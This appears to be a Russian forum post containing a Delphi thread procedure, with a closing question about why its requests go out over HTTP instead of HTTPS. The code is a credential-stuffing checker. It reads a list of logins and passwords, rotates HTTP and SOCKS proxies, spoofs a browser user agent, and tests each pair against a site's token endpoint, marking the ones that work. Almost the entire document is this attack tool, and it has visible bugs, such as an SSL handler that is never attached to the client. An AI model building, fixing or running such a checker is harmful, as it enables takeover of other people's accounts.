Код:
procedure TNewThread.Execute;
var
CurAcc:integer;
HTTP: TIdHTTP;
SSL : TIdSSLIOHandlerSocketOpenSSL;
SOCKS: TIdSocksInfo;
cook:TIdCookieManager;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
inc(tp);
if tp=Proxy.Count-1 then tp:=0;
CS.Leave;
if Work then
begin
HTTP:=TIdHTTP.Create(nil);
http.HandleRedirects:=false;
http.AllowCookies:=true;
SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
ssl.Port:=433;
http.ReadTimeout:=Form1.SpinEdit2.Value*1000;
http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19';
if Proxy.Text = '' then sleep(0) else
if Form1.ComboBox1.Text='http/https' then
begin
IP:=Copy(Proxy[tp], 1, Pos(':',Proxy[tp])-1);
PORT:=Copy(Proxy[tp], Pos(':', Proxy[tp])+1, Length(Proxy[tp]));
http.ProxyParams.ProxyServer:=IP;
http.ProxyParams.ProxyPort:=strtoint(PORT);
end;
if Form1.ComboBox1.Text='socks4' then
begin
SOCKS:=TIdSocksInfo.Create;
SOCKS.Version:=svSocks4;
SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
SOCKS.Authentication:= saNoAuthentication;
SSL.TransparentProxy:=SOCKS;
end;
if Form1.ComboBox1.Text='socks5' then
begin
SOCKS:=TIdSocksInfo.Create;
SOCKS.Version:=svSocks5;
SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
SOCKS.Authentication:= saNoAuthentication;
SSL.TransparentProxy:=SOCKS;
end;
if pos(':', Accounts[CurAcc])<>0 then
begin
login:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1);
pass:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
end
else
begin
login:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
pass:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
end;
try
запрос:=HTTP.GET('https://сайт.ру/token?username='+login+'&password='+pass);
if Pos('token', запрос)<>0 then begin
Rez:=1;
end else
Rez:=0;
except
Rez:=-1;
end;
end;
HTTP.Free;
Synchronize(Sync);
end;
dec(Thread);
if Thread=0 then MessageDlg('The end.',mtWarning,[mbOK],0);
end;
Если отснифать запрос то он отправляется не на https ка должно быть а на http из-за чего это?